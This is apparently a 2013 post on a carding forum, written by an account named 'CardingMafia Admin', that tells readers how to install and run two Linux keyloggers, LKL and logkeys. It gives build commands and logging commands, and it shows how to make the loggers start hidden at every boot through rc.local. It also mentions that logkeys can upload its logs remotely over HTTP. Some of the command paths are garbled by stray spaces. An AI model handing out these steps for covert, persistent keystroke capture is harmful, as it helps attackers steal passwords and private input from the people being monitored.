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View Full Version : 2 Linux keyloggers (LKL , logkeys)



CardingMafia Admin
02-12-2013, 12:31 PM
LKL is a famous Linux keylogger that runs under Linux on the x86 arch. LKL sniffs and logs everything that passes through the hardware keyboard port (0×60). It translates keycodes to ASCII with a keymap file.

Download

How to install?

./configure
make
sudo make install

How to use?
sudo lkl -l -k /home/XYZ/Downloads/lkl/keymaps/it_km -o /home/XYZ/loggy.log

now it has to start automatically at any reboot
cd /etc/init.d
sudo vi rc.local
add at the bottom "/usr/local/bin/lkl -l -k /home/XYZ/Downloads/lkl/keymaps/it_km -o /home/XYZ/loggy.log &"

Edit:Seems some of you got a prob to figure out (keymaps) ok I will make it much more easier

apt-get install lkl

to see how to use live type lkl from terminal of course by logging in as root on the terminal.
For reference use this program, you must know first where the position of the file that contains about keymaps or form we will record your keyboard. You can search with the command:


whereis lkl



If my position in the / usr / share / lkl / keymaps



Command if on my computer..

lkl-l-k / usr / share / lkl / keymaps / us_km-o / home / S@xx0R / logk.txt



So the message appears



Started to log port 0×60. Keymap is / usr / share / lkl / keymaps / us_km. The logfile is / home / S@xx0R / logk.txt.

Done

logkeys v0.1.1a (latest)

fixed 100% CPU issue on x64
various bug fixes
removed pgrep dependency
PID file now in /var/run/
other symlink attack vulnerability fixes
other security fixes
code refactoring
remote log uploading via HTTP
lkl and lklk are now llk and llkk to avoid confusion
llk and llkk are now programs that run logkeys-start.sh/-stop.sh scripts
also recognize "HID" USB keyboard devices
bug fixes

Download

How to install?
gunzip logkeys-0.1.1a.tar.gz
tar xvf logkeys-0.1.1a.tar
cd logkeys-0.1.1a/
cd build/
../configure
('sudo apt-get install build-essential' if previous command fails)
make
sudo make install

How to use?
sudo logkeys -s -m /home/XYZ/Downloads/de.map -o /home/XYZ/loggy.log
sudo logkeys -k

Now it has to start automatically at boot time
cd /etc/init.d
sudo vi rc.local
add at the bottom "/usr/local/bin/logkeys -s -m /home/XYZ/Downloads/de.map -o /home/XYZ/loggy.log &"